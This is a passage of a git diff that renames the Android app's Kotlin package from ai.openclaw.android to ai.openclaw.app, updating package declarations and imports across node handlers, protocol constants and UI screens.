NodeRuntimeFlags( val cameraEnabled: Boolean, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt similarity index 91% rename from apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt index 36b89eb2ec8..dc6eed7438d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeDispatcher.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeDispatcher.kt @@ -1,18 +1,18 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCanvasA2UICommand -import ai.openclaw.android.protocol.OpenClawCanvasCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawScreenCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCanvasA2UICommand +import ai.openclaw.app.protocol.OpenClawCanvasCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawScreenCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand class InvokeDispatcher( private val canvas: CanvasController, @@ -145,7 +145,7 @@ class InvokeDispatcher( OpenClawSystemCommand.Notify.rawValue -> systemHandler.handleSystemNotify(paramsJson) // Photos command - ai.openclaw.android.protocol.OpenClawPhotosCommand.Latest.rawValue -> photosHandler.handlePhotosLatest( + ai.openclaw.app.protocol.OpenClawPhotosCommand.Latest.rawValue -> photosHandler.handlePhotosLatest( paramsJson, ) diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt index d6018467e66..143a1292f2c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/JpegSizeLimiter.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/JpegSizeLimiter.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import kotlin.math.max import kotlin.math.min diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt index 87762e87fa9..86b059c243d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt index c3f292f97a5..d925fd7eba7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/LocationHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/LocationHandler.kt @@ -1,12 +1,12 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context import android.content.pm.PackageManager import android.location.LocationManager import androidx.core.content.ContextCompat -import ai.openclaw.android.LocationMode -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.LocationMode +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.TimeoutCancellationException import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt index 52658f8efb6..bb11d6409ba 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/MotionHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/MotionHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context @@ -8,7 +8,7 @@ import android.hardware.SensorEventListener import android.hardware.SensorManager import android.os.SystemClock import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.time.Instant import kotlinx.coroutines.suspendCancellableCoroutine import kotlinx.coroutines.withTimeoutOrNull diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt index 5ba58c23860..587133d2a2c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/NodeUtils.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/NodeUtils.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.parseInvokeErrorFromThrowable +import ai.openclaw.app.gateway.parseInvokeErrorFromThrowable import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement import kotlinx.serialization.json.JsonNull diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt index 755b20513b4..d6a1f9998cb 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/NotificationsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/NotificationsHandler.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt index e7f3debff06..ee05bda95a7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/PhotosHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/PhotosHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentResolver @@ -12,7 +12,7 @@ import android.os.Bundle import android.provider.MediaStore import androidx.core.content.ContextCompat import androidx.core.graphics.scale -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.io.ByteArrayOutputStream import java.time.Instant import kotlin.math.max diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt similarity index 89% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt index c63d73f5e52..ebbe6f415d6 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession class ScreenHandler( private val screenRecorder: ScreenRecordManager, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt index bb06d1200e4..bae5587c4cc 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ScreenRecordManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ScreenRecordManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import android.hardware.display.DisplayManager @@ -6,7 +6,7 @@ import android.media.MediaRecorder import android.media.projection.MediaProjectionManager import android.os.Build import android.util.Base64 -import ai.openclaw.android.ScreenCaptureRequester +import ai.openclaw.app.ScreenCaptureRequester import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.delay import kotlinx.coroutines.withContext @@ -18,13 +18,13 @@ class ScreenRecordManager(private val context: Context) { data class Payload(val payloadJson: String) @Volatile private var screenCaptureRequester: ScreenCaptureRequester? = null - @Volatile private var permissionRequester: ai.openclaw.android.PermissionRequester? = null + @Volatile private var permissionRequester: ai.openclaw.app.PermissionRequester? = null fun attachScreenCaptureRequester(requester: ScreenCaptureRequester) { screenCaptureRequester = requester } - fun attachPermissionRequester(requester: ai.openclaw.android.PermissionRequester) { + fun attachPermissionRequester(requester: ai.openclaw.app.PermissionRequester) { permissionRequester = requester } diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt similarity index 86% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt index 30b7781009d..0c76ac24587 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession class SmsHandler( private val sms: SmsManager, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt index d727bfd2763..3c5184b0247 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SmsManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SmsManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.Context @@ -11,7 +11,7 @@ import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive import kotlinx.serialization.json.jsonObject import kotlinx.serialization.encodeToString -import ai.openclaw.android.PermissionRequester +import ai.openclaw.app.PermissionRequester /** * Sends SMS messages via the Android SMS API. diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt index ee794f7ac4e..2ec6ed56ad7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/SystemHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/SystemHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.app.NotificationChannel @@ -9,7 +9,7 @@ import android.os.Build import androidx.core.app.NotificationCompat import androidx.core.app.NotificationManagerCompat import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive diff --git a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt rename to apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt index 7e1a5bf127e..acbb3bf5cbd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIAction.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIAction.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive diff --git a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt rename to apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt index a2816e257fa..ef4c2d95c96 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/protocol/OpenClawProtocolConstants.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/protocol/OpenClawProtocolConstants.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol enum class OpenClawCapability(val rawValue: String) { Canvas("canvas"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt b/apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt index 1c5561767e6..77844187e8a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/tools/ToolDisplay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/tools/ToolDisplay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.tools +package ai.openclaw.app.tools import android.content.Context import kotlinx.serialization.Serializable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt index 21043d739b0..658c4d38cc3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/CameraHudOverlay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/CameraHudOverlay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.background import androidx.compose.foundation.layout.Box diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt index f733d154ed9..5bf3a60ec01 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/CanvasScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/CanvasScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.annotation.SuppressLint import android.util.Log @@ -21,7 +21,7 @@ import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.viewinterop.AndroidView import androidx.webkit.WebSettingsCompat import androidx.webkit.WebViewFeature -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel @SuppressLint("SetJavaScriptEnabled") @Composable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt similarity index 53% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt index 85f20364c61..1abc76e7859 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/ChatSheet.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/ChatSheet.kt @@ -1,8 +1,8 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.runtime.Composable -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.ui.chat.ChatSheetContent +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.ui.chat.ChatSheetContent @Composable fun ChatSheet(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt index 875b82796d3..4b8ac2c8e5d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/ConnectTabScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/ConnectTabScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.animation.AnimatedVisibility import androidx.compose.foundation.BorderStroke @@ -46,7 +46,7 @@ import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.input.KeyboardType import androidx.compose.ui.unit.dp -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel private enum class ConnectInputMode { SetupCode, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt index 4421a82be4b..93b4fc1bb60 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/GatewayConfigResolver.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/GatewayConfigResolver.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.core.net.toUri import java.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt index eb4f95775e7..5f93ed04cfa 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/MobileUiTokens.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/MobileUiTokens.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.ui.graphics.Brush import androidx.compose.ui.graphics.Color @@ -7,7 +7,7 @@ import androidx.compose.ui.text.font.Font import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.sp -import ai.openclaw.android.R +import ai.openclaw.app.R internal val mobileBackgroundGradient = Brush.verticalGradient( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt index cc596706ec0..417abd34e52 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/OnboardingFlow.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/OnboardingFlow.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.content.Context @@ -84,10 +84,10 @@ import androidx.core.net.toUri import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.LocationMode -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.R -import ai.openclaw.android.node.DeviceNotificationListenerService +import ai.openclaw.app.LocationMode +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.R +import ai.openclaw.app.node.DeviceNotificationListenerService import com.journeyapps.barcodescanner.ScanContract import com.journeyapps.barcodescanner.ScanOptions diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt index aad743a6d7d..e3f0cfaac9c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/OpenClawTheme.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/OpenClawTheme.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.isSystemInDarkTheme import androidx.compose.material3.MaterialTheme diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt index e7adf00b18f..0642f9b3a7e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/PostOnboardingTabs.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/PostOnboardingTabs.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.background import androidx.compose.foundation.BorderStroke @@ -44,7 +44,7 @@ import androidx.compose.ui.graphics.vector.ImageVector import androidx.compose.ui.platform.LocalDensity import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel private enum class HomeTab( val label: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt similarity index 88% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt index e50a03cc5bf..03764b11a22 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/RootScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/RootScreen.kt @@ -1,11 +1,11 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.runtime.Composable import androidx.compose.runtime.collectAsState import androidx.compose.runtime.getValue import androidx.compose.ui.Modifier -import ai.openclaw.android.MainViewModel +import ai.openclaw.app.MainViewModel @Composable fun RootScreen(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt index cd1368db1b4..1be0e23b63f 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/SettingsSheet.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/SettingsSheet.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.content.Context @@ -66,10 +66,10 @@ import androidx.core.net.toUri import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.LocationMode -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.node.DeviceNotificationListenerService +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.LocationMode +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.node.DeviceNotificationListenerService @Composable fun SettingsSheet(viewModel: MainViewModel) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt index f89b298d1f7..0aba5e91078 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/TalkOrbOverlay.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/TalkOrbOverlay.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import androidx.compose.animation.core.LinearEasing import androidx.compose.animation.core.RepeatMode diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt index 921f5ed016e..be66f42bef3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/VoiceTabScreen.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/VoiceTabScreen.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import android.Manifest import android.app.Activity @@ -66,9 +66,9 @@ import androidx.core.content.ContextCompat import androidx.lifecycle.Lifecycle import androidx.lifecycle.LifecycleEventObserver import androidx.lifecycle.compose.LocalLifecycleOwner -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.voice.VoiceConversationEntry -import ai.openclaw.android.voice.VoiceConversationRole +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.voice.VoiceConversationEntry +import ai.openclaw.app.voice.VoiceConversationRole import kotlin.math.max @Composable diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt index c54b80b6e84..b2b540bdb7a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/Base64ImageState.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/Base64ImageState.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import android.graphics.BitmapFactory import android.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt index 22099500ebf..9601febfa31 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatComposer.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatComposer.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.BorderStroke import androidx.compose.foundation.horizontalScroll @@ -46,17 +46,17 @@ import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.style.TextOverflow import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileAccentSoft -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileSurface -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileTextTertiary +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileAccentSoft +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import 